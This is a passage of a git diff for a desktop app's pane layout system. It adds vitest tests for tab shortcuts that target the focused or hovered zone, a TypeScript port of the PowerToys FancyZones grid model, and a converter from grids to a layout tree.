+    // With no showable active pane, the reactive unhide picks files so the
+    // group fronts a valid tab (preserves the #65375 "visible next time" intent).
+    expect(activeOf('files')).toBe('files')
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/focused-session-tab.test.ts b/ui-desktop/src/components/pane-shell/tree/focused-session-tab.test.ts
new file mode 100644
index 000000000..4dddfeaaf
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/focused-session-tab.test.ts
@@ -0,0 +1,124 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// ⌘W / ⌘T / ⌘⇧T / the strip "+" used to hardcode the workspace's zone while
+// ⌘1…⌘9 followed the interacted zone — so every tab verb missed a SECOND chat
+// zone the user was working in. They now resolve the same focused zone.
+
+describe('focused chat zone drives the tab verbs', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    for (const id of ['workspace', 'files', 'session-tile:a', 'session-tile:b']) {
+      registry.register({
+        area: 'panes',
+        data: id === 'workspace' ? { placement: 'main', uncloseable: true } : { placement: 'main' },
+        id,
+        render: () => null,
+        title: id
+      })
+    }
+
+    // Two chat zones side by side: main holds the workspace, the second holds
+    // its own session tabs (a split-off stack).
+    tree.declareDefaultTree(
+      model.split('row', [
+        model.group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        model.group(['session-tile:a', 'session-tile:b'], { active: 'session-tile:b', id: 'grp-side' })
+      ])
+    )
+
+    return { model, tree }
+  }
+
+  it('⌘T anchors the new tab to the focused zone, not always the workspace', async () => {
+    const { tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-side')
+    expect(tree.focusedSessionTabAnchor()).toBe('session-tile:b')
+
+    tree.noteActiveTreeGroup('grp-main')
+    expect(tree.focusedSessionTabAnchor()).toBe('workspace')
+  })
+
+  it('a non-chat zone (files/terminal focus) falls back to the workspace', async () => {
+    const { model, tree } = await setup()
+
+    tree.declareDefaultTree(
+      model.split('row', [
+        model.group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        model.group(['files'], { active: 'files', id: 'grp-files' })
+      ])
+    )
+    tree.noteActiveTreeGroup('grp-files')
+
+    expect(tree.focusedSessionTabAnchor()).toBe('workspace')
+    // ⌘W must not close the file tree just because it holds focus.
+    expect(tree.closeFocusedSessionTab()).toBe(false)
+  })
+
+  it('⌘W closes the focused zone active tab and leaves the workspace alone', async () => {
+    const { model, tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-side')
+    expect(tree.closeFocusedSessionTab()).toBe(true)
+    expect(model.allPaneIds(tree.$layoutTree.get()!)).not.toContain('session-tile:b')
+
+    // Back on main: the uncloseable workspace is a no-op (the caller promotes
+    // a stacked session instead of closing the window).
+    tree.noteActiveTreeGroup('grp-main')
+    expect(tree.closeFocusedSessionTab()).toBe(false)
+    expect(model.allPaneIds(tree.$layoutTree.get()!)).toContain('workspace')
+  })
+
+  // Preview/page tiles share `placement: 'main'` but not the session-tile id
+  // prefix — the generic tab verbs must serve their zones too, or ⌘W over a
+  // lone Browser tile falls through and empties MAIN instead.
+  it('⌘W and ⌃Tab serve a zone of preview/page tiles like any tab strip', async () => {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    for (const id of ['workspace', 'preview-tile:url:x', 'route-tile:/skills']) {
+      registry.register({
+        area: 'panes',
+        data: id === 'workspace' ? { placement: 'main', uncloseable: true } : { placement: 'main' },
+        id,
+        render: () => null,
+        title: id
+      })
+    }
+
+    const closed: string[] = []
+
+    tree.registerPaneCloser('preview-tile:url:x', () => closed.push('preview-tile:url:x'))
+    tree.declareDefaultTree(
+      model.split('row', [
+        model.group(['workspace'], { active: 'workspace', id: 'grp-main' }),
+        model.group(['preview-tile:url:x', 'route-tile:/skills'], { active: 'preview-tile:url:x', id: 'grp-view' })
+      ])
+    )
+    tree.noteActiveTreeGroup('grp-view')
+
+    // ⌃Tab cycles within the preview zone, not main's.
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBe('route-tile:/skills')
+    expect(tree.$layoutTree.get() && model.findGroup(tree.$layoutTree.get()!, 'grp-view')?.active).toBe(
+      'route-tile:/skills'
+    )
+
+    // ⌘W closes the zone's active tab through its registered closer.
+    tree.cycleTreeTabInFocusedZone(1)
+    expect(tree.closeFocusedSessionTab()).toBe(true)
+    expect(closed).toEqual(['preview-tile:url:x'])
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/grid-model.ts b/ui-desktop/src/components/pane-shell/tree/grid-model.ts
new file mode 100644
index 000000000..dea88b128
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/grid-model.ts
@@ -0,0 +1,624 @@
+/**
+ * FancyZones grid model — a faithful port of PowerToys'
+ * `FancyZonesEditor/Models/GridLayoutModel.cs` + `FancyZonesEditor/GridData.cs`
+ * (microsoft/PowerToys, MIT). Function/field names, algorithms, and invariants
+ * follow the C# sources so behavior matches the original editor:
+ *
+ *  - A layout is rows x columns with percent tracks summing to MULTIPLIER
+ *    (10000) and a cellChildMap assigning each cell to a zone; a zone spanning
+ *    multiple cells appears as the same index in adjacent cells.
+ *  - Zones are rectangles in the 0..10000 coordinate space (prefix sums).
+ *  - Resizers are the shared edges between zones, derived from cellChildMap
+ *    discontinuities; dragging one moves every zone touching that edge.
+ *  - Merging computes the rectangular CLOSURE of the selection (extending it
+ *    until no zone is partially cut) — the signature FancyZones merge feel.
+ */
+
+// The sum of row/column percents should be equal to this number.
+export const MULTIPLIER = 10000
+
+/** Minimum zone extent in model units (editor ergonomics; C# uses 1). */
+export const MIN_ZONE_SIZE = 500
+
+export interface GridLayout {
+  rows: number
+  columns: number
+  rowPercents: number[]
+  columnPercents: number[]
+  /** cellChildMap[row][col] = zone index; spans = same index in adjacent cells. */
+  cellChildMap: number[][]
+}
+
+export interface GridZone {
+  index: number
+  left: number
+  top: number
+  right: number
+  bottom: number
+}
+
+export interface GridResizer {
+  orientation: 'horizontal' | 'vertical'
+  /** All zones to the left/up, in order. */
+  negativeSideIndices: number[]
+  /** All zones to the right/down, in order. */
+  positiveSideIndices: number[]
+}
+
+// ---------------------------------------------------------------------------
+// GridData helpers (verbatim)
+// ---------------------------------------------------------------------------
+
+/** result[k] is the sum of the first k elements of the given list. */
+export function prefixSum(list: number[]): number[] {
+  const result: number[] = [0]
+  let sum = 0
+
+  for (const value of list) {
+    sum += value
+    result.push(sum)
+  }
+
+  return result
+}
+
+/** Opposite of prefixSum: differences of consecutive elements. */
+function adjacentDifference(list: number[]): number[] {
+  if (list.length <= 1) {
+    return []
+  }
+
+  const result: number[] = []
+
+  for (let i = 0; i < list.length - 1; i++) {
+    result.push(list[i + 1] - list[i])
+  }
+
+  return result
+}
+
+/** Contiguous-segment unique (order-preserving), as in GridData.Unique. */
+function unique(list: number[]): number[] {
+  const result: number[] = []
+
+  if (list.length === 0) {
+    return result
+  }
+
+  let last = list[0]
+  result.push(last)
+
+  for (let i = 1; i < list.length; i++) {
+    if (list[i] !== last) {
+      last = list[i]
+      result.push(last)
+    }
+  }
+
+  return result
+}
+
+// ---------------------------------------------------------------------------
+// Model -> zones / resizers (GridData.ModelToZones / ModelToResizers)
+// ---------------------------------------------------------------------------
+
+export function modelToZones(model: GridLayout): GridZone[] | null {
+  const { rows, columns: cols, cellChildMap } = model
+
+  let zoneCount = 0
+
+  for (let row = 0; row < rows; row++) {
+    for (let col = 0; col < cols; col++) {
+      zoneCount = Math.max(zoneCount, cellChildMap[row][col])
+    }
+  }
+
+  zoneCount++
+
+  if (zoneCount > rows * cols) {
+    return null
+  }
+
+  const indexCount = new Array<number>(zoneCount).fill(0)
+  const indexRowLow = new Array<number>(zoneCount).fill(Number.MAX_SAFE_INTEGER)
+  const indexRowHigh = new Array<number>(zoneCount).fill(0)
+  const indexColLow = new Array<number>(zoneCount).fill(Number.MAX_SAFE_INTEGER)
+  const indexColHigh = new Array<number>(zoneCount).fill(0)
+
+  for (let row = 0; row < rows; row++) {
+    for (let col = 0; col < cols; col++) {
+      const index = cellChildMap[row][col]
+      indexCount[index]++
+      indexRowLow[index] = Math.min(indexRowLow[index], row)
+      indexColLow[index] = Math.min(indexColLow[index], col)
+      indexRowHigh[index] = Math.max(indexRowHigh[index], row)
+      indexColHigh[index] = Math.max(indexColHigh[index], col)
+    }
+  }
+
+  for (let index = 0; index < zoneCount; index++) {
+    if (indexCount[index] === 0) {
+      return null
+    }
+
+    // Each zone must occupy a full rectangle of cells.
+    if (
+      indexCount[index] !==
+      (indexRowHigh[index] - indexRowLow[index] + 1) * (indexColHigh[index] - indexColLow[index] + 1)
+    ) {
+      return null
+    }
+  }
+
+  if (
+    model.rowPercents.length !== rows ||
+    model.columnPercents.length !== cols ||
+    model.rowPercents.some(x => x < 1) ||
+    model.columnPercents.some(x => x < 1)
+  ) {
+    return null
+  }
+
+  const rowPrefixSum = prefixSum(model.rowPercents)
+  const colPrefixSum = prefixSum(model.columnPercents)
+
+  if (rowPrefixSum[rows] !== MULTIPLIER || colPrefixSum[cols] !== MULTIPLIER) {
+    return null
+  }
+
+  const zones: GridZone[] = []
+
+  for (let index = 0; index < zoneCount; index++) {
+    zones.push({
+      index,
+      left: colPrefixSum[indexColLow[index]],
+      right: colPrefixSum[indexColHigh[index] + 1],
+      top: rowPrefixSum[indexRowLow[index]],
+      bottom: rowPrefixSum[indexRowHigh[index] + 1]
+    })
+  }
+
+  return zones
+}
+
+export function modelToResizers(model: GridLayout): GridResizer[] {
+  const grid = model.cellChildMap
+  const { rows, columns: cols } = model
+  const resizers: GridResizer[] = []
+
+  // Horizontal
+  for (let row = 1; row < rows; row++) {
+    for (let startCol = 0; startCol < cols;) {
+      if (grid[row - 1][startCol] !== grid[row][startCol]) {
+        let endCol = startCol
+
+        while (endCol + 1 < cols && grid[row - 1][endCol + 1] !== grid[row][endCol + 1]) {
+          endCol++
+        }
+
+        const positive: number[] = []
+        const negative: number[] = []
+
+        for (let col = startCol; col <= endCol; col++) {
+          negative.push(grid[row - 1][col])
+          positive.push(grid[row][col])
+        }
+
+        resizers.push({
+          orientation: 'horizontal',
+          positiveSideIndices: unique(positive),
+          negativeSideIndices: unique(negative)
+        })
+
+        startCol = endCol + 1
+      } else {
+        startCol++
+      }
+    }
+  }
+
+  // Vertical
+  for (let col = 1; col < cols; col++) {
+    for (let startRow = 0; startRow < rows;) {
+      if (grid[startRow][col - 1] !== grid[startRow][col]) {
+        let endRow = startRow
+
+        while (endRow + 1 < rows && grid[endRow + 1][col - 1] !== grid[endRow + 1][col]) {
+          endRow++
+        }
+
+        const positive: number[] = []
+        const negative: number[] = []
+
+        for (let row = startRow; row <= endRow; row++) {
+          negative.push(grid[row][col - 1])
+          positive.push(grid[row][col])
+        }
+
+        resizers.push({
+          orientation: 'vertical',
+          positiveSideIndices: unique(positive),
+          negativeSideIndices: unique(negative)
+        })
+
+        startRow = endRow + 1
+      } else {
+        startRow++
+      }
+    }
+  }
+
+  return resizers
+}
+
+// ---------------------------------------------------------------------------
+// Zones -> model (GridData.ZonesToModel)
+// ---------------------------------------------------------------------------
+
+export function zonesToModel(zones: GridZone[]): GridLayout {
+  const xCoords = [...new Set(zones.flatMap(z => [z.left, z.right]))].sort((a, b) => a - b)
+  const yCoords = [...new Set(zones.flatMap(z => [z.top, z.bottom]))].sort((a, b) => a - b)
+
+  const model: GridLayout = {
+    rows: yCoords.length - 1,
+    columns: xCoords.length - 1,
+    rowPercents: adjacentDifference(yCoords),
+    columnPercents: adjacentDifference(xCoords),
+    cellChildMap: Array.from({ length: yCoords.length - 1 }, () => new Array<number>(xCoords.length - 1).fill(0))
+  }
+
+  for (let index = 0; index < zones.length; index++) {
+    const zone = zones[index]
+    const startRow = yCoords.indexOf(zone.top)
+    const endRow = yCoords.indexOf(zone.bottom)
+    const startCol = xCoords.indexOf(zone.left)
+    const endCol = xCoords.indexOf(zone.right)
+
+    for (let row = startRow; row < endRow; row++) {
+      for (let col = startCol; col < endCol; col++) {
+        model.cellChildMap[row][col] = index
+      }
+    }
+  }
+
+  return model
+}
+
+// ---------------------------------------------------------------------------
+// Closure + merge (GridData.ComputeClosure / DoMerge)
+// ---------------------------------------------------------------------------
+
+function computeClosure(zones: GridZone[], indices: number[]): { indices: number[]; zone: GridZone } {
+  let left = Number.MAX_SAFE_INTEGER
+  let right = Number.MIN_SAFE_INTEGER
+  let top = Number.MAX_SAFE_INTEGER
+  let bottom = Number.MIN_SAFE_INTEGER
+
+  if (indices.length === 0) {
+    return { indices: [], zone: { index: -1, left, right, top, bottom } }
+  }
+
+  const extend = (zone: GridZone) => {
+    left = Math.min(left, zone.left)
+    right = Math.max(right, zone.right)
+    top = Math.min(top, zone.top)
+    bottom = Math.max(bottom, zone.bottom)
+  }
+
+  for (const index of indices) {
+    extend(zones[index])
+  }
+
+  let possiblyBroken = true
+
+  while (possiblyBroken) {
+    possiblyBroken = false
+
+    for (const zone of zones) {
+      const area = (zone.bottom - zone.top) * (zone.right - zone.left)
+
+      const cutLeft = Math.max(left, zone.left)
+      const cutRight = Math.min(right, zone.right)
+      const cutTop = Math.max(top, zone.top)
+      const cutBottom = Math.min(bottom, zone.bottom)
+
+      const newArea = Math.max(0, cutBottom - cutTop) * Math.max(0, cutRight - cutLeft)
+
+      if (newArea !== 0 && newArea !== area) {
+        // Bad intersection found, extend.
+        extend(zone)
+        possiblyBroken = true
+      }
+    }
+  }
+
+  const resultIndices = zones
+    .filter(zone => left <= zone.left && zone.right <= right && top <= zone.top && zone.bottom <= bottom)
+    .map(zone => zone.index)
+
+  return { indices: resultIndices, zone: { index: -1, left, right, top, bottom } }
+}
+
+export function mergeClosureIndices(model: GridLayout, indices: number[]): number[] {
+  const zones = modelToZones(model)
+
+  return zones ? computeClosure(zones, indices).indices : []
+}
+
+export function doMerge(model: GridLayout, indices: number[]): GridLayout {
+  if (indices.length === 0) {
+    return model
+  }
+
+  const zones = modelToZones(model)
+
+  if (!zones) {
+    return model
+  }
+
+  const lowestIndex = Math.min(...indices)
+  const closure = computeClosure(zones, indices)
+  const closureIndices = new Set(closure.indices)
+
+  const remaining = zones.filter(zone => !closureIndices.has(zone.index))
+  remaining.splice(lowestIndex, 0, closure.zone)
+
+  return zonesToModel(remaining)
+}
+
+// ---------------------------------------------------------------------------
+// Split (GridData.CanSplit / Split)
+// ---------------------------------------------------------------------------
+
+export function canSplit(
+  model: GridLayout,
+  zoneIndex: number,
+  position: number,
+  orientation: 'horizontal' | 'vertical'
+): boolean {
+  const zones = modelToZones(model)
+
+  if (!zones || !zones[zoneIndex]) {
+    return false
+  }
+
+  const zone = zones[zoneIndex]
+
+  if (orientation === 'horizontal') {
+    return zone.top + MIN_ZONE_SIZE <= position && position <= zone.bottom - MIN_ZONE_SIZE
+  }
+
+  return zone.left + MIN_ZONE_SIZE <= position && position <= zone.right - MIN_ZONE_SIZE
+}
+
+export function splitZone(
+  model: GridLayout,
+  zoneIndex: number,
+  position: number,
+  orientation: 'horizontal' | 'vertical'
+): GridLayout {
+  if (!canSplit(model, zoneIndex, position, orientation)) {
+    return model
+  }
+
+  const zones = modelToZones(model)!
+  const zone = zones[zoneIndex]
+  const zone1 = { ...zone }
+  const zone2 = { ...zone }
+
+  zones.splice(zoneIndex, 1)
+
+  if (orientation === 'horizontal') {
+    zone1.bottom = position
+    zone2.top = position
+  } else {
+    zone1.right = position
+    zone2.left = position
+  }
+
+  zones.splice(zoneIndex, 0, zone1)
+  zones.splice(zoneIndex + 1, 0, zone2)
+
+  return zonesToModel(zones)
+}
+
+// ---------------------------------------------------------------------------
+// Resizer drag (GridData.CanDrag / Drag)
+// ---------------------------------------------------------------------------
+
+export function canDrag(model: GridLayout, resizerIndex: number, delta: number): boolean {
+  const zones = modelToZones(model)
+  const resizers = modelToResizers(model)
+  const resizer = resizers[resizerIndex]
+
+  if (!zones || !resizer) {
+    return false
+  }
+
+  const getSize = (zoneIndex: number) => {
+    const zone = zones[zoneIndex]
+
+    return resizer.orientation === 'vertical' ? zone.right - zone.left : zone.bottom - zone.top
+  }
+
+  for (const zoneIndex of resizer.positiveSideIndices) {
+    if (getSize(zoneIndex) - delta < MIN_ZONE_SIZE) {
+      return false
+    }
+  }
+
+  for (const zoneIndex of resizer.negativeSideIndices) {
+    if (getSize(zoneIndex) + delta < MIN_ZONE_SIZE) {
+      return false
+    }
+  }
+
+  return true
+}
+
+export function dragResizer(model: GridLayout, resizerIndex: number, delta: number): GridLayout {
+  if (!canDrag(model, resizerIndex, delta)) {
+    return model
+  }
+
+  const zones = modelToZones(model)!
+  const resizer = modelToResizers(model)[resizerIndex]
+
+  for (const zoneIndex of resizer.positiveSideIndices) {
+    const zone = zones[zoneIndex]
+
+    if (resizer.orientation === 'horizontal') {
+      zone.top += delta
+    } else {
+      zone.left += delta
+    }
+  }
+
+  for (const zoneIndex of resizer.negativeSideIndices) {
+    const zone = zones[zoneIndex]
+
+    if (resizer.orientation === 'horizontal') {
+      zone.bottom += delta
+    } else {
+      zone.right += delta
+    }
+  }
+
+  return zonesToModel(zones)
+}
+
+// ---------------------------------------------------------------------------
+// Templates + validation (GridLayoutModel)
+// ---------------------------------------------------------------------------
+
+/** Even track sizes that sum EXACTLY to MULTIPLIER (GridLayoutModel.InitRows note). */
+function evenPercents(count: number): number[] {
+  const out: number[] = []
+
+  for (let i = 0; i < count; i++) {
+    out.push(Math.floor((MULTIPLIER * (i + 1)) / count) - Math.floor((MULTIPLIER * i) / count))
+  }
+
+  return out
+}
+
+export function initColumns(count: number): GridLayout {
+  return {
+    rows: 1,
+    columns: count,
+    rowPercents: [MULTIPLIER],
+    columnPercents: evenPercents(count),
+    cellChildMap: [Array.from({ length: count }, (_, i) => i)]
+  }
+}
+
+export function initRows(count: number): GridLayout {
+  return {
+    rows: count,
+    columns: 1,
+    rowPercents: evenPercents(count),
+    columnPercents: [MULTIPLIER],
+    cellChildMap: Array.from({ length: count }, (_, i) => [i])
+  }
+}
+
+export function initGrid(zoneCount: number): GridLayout {
+  let rows = 1
+
+  while (Math.floor(zoneCount / rows) >= rows) {
+    rows++
+  }
+
+  rows--
+  let cols = Math.floor(zoneCount / rows)
+
+  if (zoneCount % rows !== 0) {
+    cols++
+  }
+
+  const model: GridLayout = {
+    rows,
+    columns: cols,
+    rowPercents: evenPercents(rows),
+    columnPercents: evenPercents(cols),
+    cellChildMap: Array.from({ length: rows }, () => new Array<number>(cols).fill(0))
+  }
+
+  let index = 0
+
+  for (let row = 0; row < rows; row++) {
+    for (let col = 0; col < cols; col++) {
+      model.cellChildMap[row][col] = index++
+
+      if (index === zoneCount) {
+        index--
+      }
+    }
+  }
+
+  return model
+}
+
+/**
+ * The "Priority Grid" template (GridLayoutModel._priorityData, decoded from
+ * its byte format: percents are `hi * 256 + lo`). Falls back to initGrid for
+ * counts beyond the table, as in the original.
+ */
+export function initPriorityGrid(zoneCount: number): GridLayout {
+  if (zoneCount === 2) {
+    return { rows: 1, columns: 2, rowPercents: [MULTIPLIER], columnPercents: [6667, 3333], cellChildMap: [[0, 1]] }
+  }
+
+  if (zoneCount === 3) {
+    return {
+      rows: 1,
+      columns: 3,
+      rowPercents: [MULTIPLIER],
+      columnPercents: [2500, 5000, 2500],
+      cellChildMap: [[0, 1, 2]]
+    }
+  }
+
+  return initGrid(zoneCount)
+}
+
+/** GridLayoutModel.IsModelValid, extended with the rectangular-span check. */
+export function isGridValid(model: unknown): model is GridLayout {
+  if (!model || typeof model !== 'object') {
+    return false
+  }
+
+  const m = model as GridLayout
+
+  if (typeof m.rows !== 'number' || typeof m.columns !== 'number' || m.rows <= 0 || m.columns <= 0) {
+    return false
+  }
+
+  if (
+    !Array.isArray(m.rowPercents) ||
+    !Array.isArray(m.columnPercents) ||
+    m.rowPercents.length !== m.rows ||
+    m.columnPercents.length !== m.columns ||
+    m.rowPercents.some(x => typeof x !== 'number' || x < 1) ||
+    m.columnPercents.some(x => typeof x !== 'number' || x < 1)
+  ) {
+    return false
+  }
+
+  if (
+    !Array.isArray(m.cellChildMap) ||
+    m.cellChildMap.length !== m.rows ||
+    m.cellChildMap.some(r => !Array.isArray(r) || r.length !== m.columns || r.some(c => typeof c !== 'number'))
+  ) {
+    return false
+  }
+
+  const rowPrefix = prefixSum(m.rowPercents)
+  const colPrefix = prefixSum(m.columnPercents)
+
+  if (rowPrefix[m.rows] !== MULTIPLIER || colPrefix[m.columns] !== MULTIPLIER) {
+    return false
+  }
+
+  return modelToZones(m) !== null
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/grid-to-tree.ts b/ui-desktop/src/components/pane-shell/tree/grid-to-tree.ts
new file mode 100644
index 000000000..e69318e80
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/grid-to-tree.ts
@@ -0,0 +1,198 @@
+/**
+ * Grid -> tree bridge. A FancyZones grid whose zones can be produced by
+ * recursive guillotine cuts (every FancyZones template, and almost every
+ * practical layout) converts exactly to our runtime `LayoutNode` tree:
+ * full-length cut lines become splits with weights from the cut positions.
+ * Non-guillotine arrangements (interlocking pinwheels) return null and the
+ * editor disables Save with an explanation.
+ */
+
+import type { GridLayout, GridZone } from './grid-model'
+import { modelToZones } from './grid-model'
+import { group, type LayoutNode, normalize, split } from './model'
+
+function cutCandidates(zones: GridZone[], axis: 'x' | 'y'): number[] {
+  const coords = new Set(zones.flatMap(z => (axis === 'x' ? [z.left, z.right] : [z.top, z.bottom])))
+
+  // Interior lines only.
+  return [...coords].sort((a, b) => a - b).slice(1, -1)
+}
+
+function isValidCut(zones: GridZone[], axis: 'x' | 'y', at: number): boolean {
+  return zones.every(zone => (axis === 'x' ? zone.right <= at || zone.left >= at : zone.bottom <= at || zone.top >= at))
+}
+
+/**
+ * Recursively cut the zone set. Collects ALL valid cuts on the chosen axis at
+ * once so "three columns" becomes one flat 3-child split, not nested pairs.
+ */
+function cut(zones: GridZone[], assignPane: (zoneIndex: number) => string[]): LayoutNode | null {
+  if (zones.length === 1) {
+    // Zones without panes become EMPTY groups — editor-authored drop targets
+    // that live until the first structural op prunes them (normalize).
+    return group(assignPane(zones[0].index))
+  }
+
+  for (const axis of ['x', 'y'] as const) {
+    const cuts = cutCandidates(zones, axis).filter(at => isValidCut(zones, axis, at))
+
+    if (cuts.length === 0) {
+      continue
+    }
+
+    const start = Math.min(...zones.map(z => (axis === 'x' ? z.left : z.top)))
+    const end = Math.max(...zones.map(z => (axis === 'x' ? z.right : z.bottom)))
+    const lines = [start, ...cuts, end]
+    const children: LayoutNode[] = []
+    const weights: number[] = []
+
+    for (let i = 0; i < lines.length - 1; i++) {
+      const lo = lines[i]
+      const hi = lines[i + 1]
+
+      const slice = zones.filter(zone =>
+        axis === 'x' ? zone.left >= lo && zone.right <= hi : zone.top >= lo && zone.bottom <= hi
+      )
+
+      if (slice.length === 0) {
+        continue
+      }
+
+      const child = cut(slice, assignPane)
+
+      if (child) {
+        children.push(child)
+        weights.push(hi - lo)
+      }
+    }
+
+    if (children.length === 0) {
+      return null
+    }
+
+    if (children.length === 1) {
+      return children[0]
+    }
+
+    return split(axis === 'x' ? 'row' : 'column', children, weights)
+  }
+
+  // No full-length cut exists on either axis: non-guillotine (pinwheel).
+  return null
+}
+
+export type PanePlacementHint = 'main' | 'left' | 'right' | 'top' | 'bottom'
+
+export interface PlacedPane {
+  id: string
+  placement?: PanePlacementHint
+}
+
+const CENTER = 5000 // MULTIPLIER / 2
+
+interface ZoneGeo {
+  index: number
+  area: number
+  cx: number
+  cy: number
+}
+
+/**
+ * Semantic zone assignment: panes claim zones by ROLE, matched on geometry —
+ * `main` takes the largest zone, `left`/`right`/`top`/`bottom` take zones whose
+ * centroid actually sits on that side (with a small size tiebreak). A hinted
+ * pane with no acceptable zone left STACKS with its role-mates (or main)
+ * instead of squatting in some random cell; unhinted panes fill what remains
+ * biggest-first; extra zones stay empty.
+ */
+function assignZones(zones: GridZone[], panes: PlacedPane[]): Map<number, string[]> {
+  const geo: ZoneGeo[] = zones.map(z => ({
+    index: z.index,
+    area: (z.right - z.left) * (z.bottom - z.top),
+    cx: (z.left + z.right) / 2,
+    cy: (z.top + z.bottom) / 2
+  }))
+
+  const remaining = new Map(geo.map(g => [g.index, g]))
+  const assignments = new Map<number, string[]>()
+  const zoneForRole = new Map<string, number>()
+
+  // Score = fit for the role; accept = the zone genuinely sits on that side.
+  const roles: Record<PanePlacementHint, { accept: (g: ZoneGeo) => boolean; score: (g: ZoneGeo) => number }> = {
+    main: { accept: () => true, score: g => g.area },
+    left: { accept: g => g.cx < CENTER, score: g => CENTER - g.cx + g.area / 1e8 },
+    right: { accept: g => g.cx > CENTER, score: g => g.cx - CENTER + g.area / 1e8 },
+    top: { accept: g => g.cy < CENTER, score: g => CENTER - g.cy + g.area / 1e8 },
+    bottom: { accept: g => g.cy > CENTER, score: g => g.cy - CENTER + g.area / 1e8 }
+  }
+
+  const claim = (pane: PlacedPane, role: PanePlacementHint | '_') => {
+    const spec = role === '_' ? roles.main : roles[role]
+    let best: ZoneGeo | null = null
+
+    for (const g of remaining.values()) {
+      if (spec.accept(g) && (!best || spec.score(g) > spec.score(best))) {
+        best = g
+      }
+    }
+
+    if (best) {
+      remaining.delete(best.index)
+      assignments.set(best.index, [pane.id])
+      zoneForRole.set(role, best.index)
+
+      if (role === 'main' || !zoneForRole.has('main')) {
+        zoneForRole.set('main', zoneForRole.get('main') ?? best.index)
+      }
+
+      return
+    }
+
+    // No acceptable zone left: stack with role-mates, else with main, else last.
+    const home = zoneForRole.get(role) ?? zoneForRole.get('main') ?? [...assignments.keys()].pop()
+
+    if (home !== undefined) {
+      assignments.get(home)?.push(pane.id)
+    }
+  }
+
+  // Placement priority: main anchors first, then sided panes, then the rest.
+  const rank = (p: PlacedPane) => (p.placement === 'main' ? 0 : p.placement ? 1 : 2)
+
+  for (const pane of [...panes].sort((a, b) => rank(a) - rank(b))) {
+    claim(pane, pane.placement ?? '_')
+  }
+
+  return assignments
+}
+
+/**
+ * Convert a grid to a tree. Panes carry placement hints (from their
+ * contribution's `data.placement`) and land in geometrically fitting zones;
+ * zones beyond the pane count stay as EMPTY zones.
+ */
+export function gridToTree(gridModel: GridLayout, panes: PlacedPane[]): LayoutNode | null {
+  const zones = modelToZones(gridModel)
+
+  if (!zones || zones.length === 0 || panes.length === 0) {
+    return null
+  }
+
+  const assignments = assignZones(zones, panes)
+  const result = cut(zones, zoneIndex => assignments.get(zoneIndex) ?? [])
+
+  return result ? normalize(result) : null
+}
+
+/** True when the grid is expressible as a tree (guillotine-cuttable). */
+export function gridIsTreeExpressible(gridModel: GridLayout): boolean {
+  const zones = modelToZones(gridModel)
+
+  if (!zones) {
+    return false
+  }
+
+  const probe = cut(zones, () => ['probe'])
+
+  return probe !== null
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/hovered-zone-tabs.test.ts b/ui-desktop/src/components/pane-shell/tree/hovered-zone-tabs.test.ts
new file mode 100644
index 000000000..18be17e01
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/hovered-zone-tabs.test.ts
@@ -0,0 +1,147 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+// The tab verbs (⌘1…⌘9, ⌃Tab, ⌘W / ⌘T) target the zone under the POINTER when
+// there is one, so hovering a pane and hitting ⌘2 lands there without clicking
+// in first. Pointer off the panes falls back to the last interacted zone.
+
+describe('hovered zone retargets the tab verbs', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  afterEach(() => {
+    vi.resetModules()
+  })
+
+  async function setup() {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+    const { registry } = await import('@/contrib/registry')
+
+    for (const id of ['workspace', 'session-tile:a', 'session-tile:b', 'session-tile:c']) {
+      registry.register({
+        area: 'panes',
+        data: id === 'workspace' ? { placement: 'main', uncloseable: true } : { placement: 'main' },
+        id,
+        render: () => null,
+        title: id
+      })
+    }
+
+    // Two chat zones side by side, each a real strip (≥2 shown tabs).
+    tree.declareDefaultTree(
+      model.split('row', [
+        model.group(['workspace', 'session-tile:a'], { active: 'workspace', id: 'grp-main' }),
+        model.group(['session-tile:b', 'session-tile:c'], { active: 'session-tile:b', id: 'grp-side' })
+      ])
+    )
+
+    const activeOf = (id: string) => model.findGroup(tree.$layoutTree.get()!, id)?.active ?? null
+
+    return { activeOf, model, tree }
+  }
+
+  it('⌘2 switches the HOVERED zone even while the other one holds focus', async () => {
+    const { activeOf, tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-main')
+    tree.noteHoveredTreeGroup('grp-side')
+
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-side')).toBe('session-tile:c')
+    // The focused zone is untouched — the pointer won the target, not both.
+    expect(activeOf('grp-main')).toBe('workspace')
+
+    // Same key, pointer moved: the other zone's slot 2.
+    tree.noteHoveredTreeGroup('grp-main')
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-main')).toBe('session-tile:a')
+  })
+
+  it('pointer off every zone falls back to the focused one', async () => {
+    const { activeOf, tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-side')
+    tree.noteHoveredTreeGroup('grp-main')
+    tree.noteHoveredTreeGroup(null)
+
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-side')).toBe('session-tile:c')
+    expect(activeOf('grp-main')).toBe('workspace')
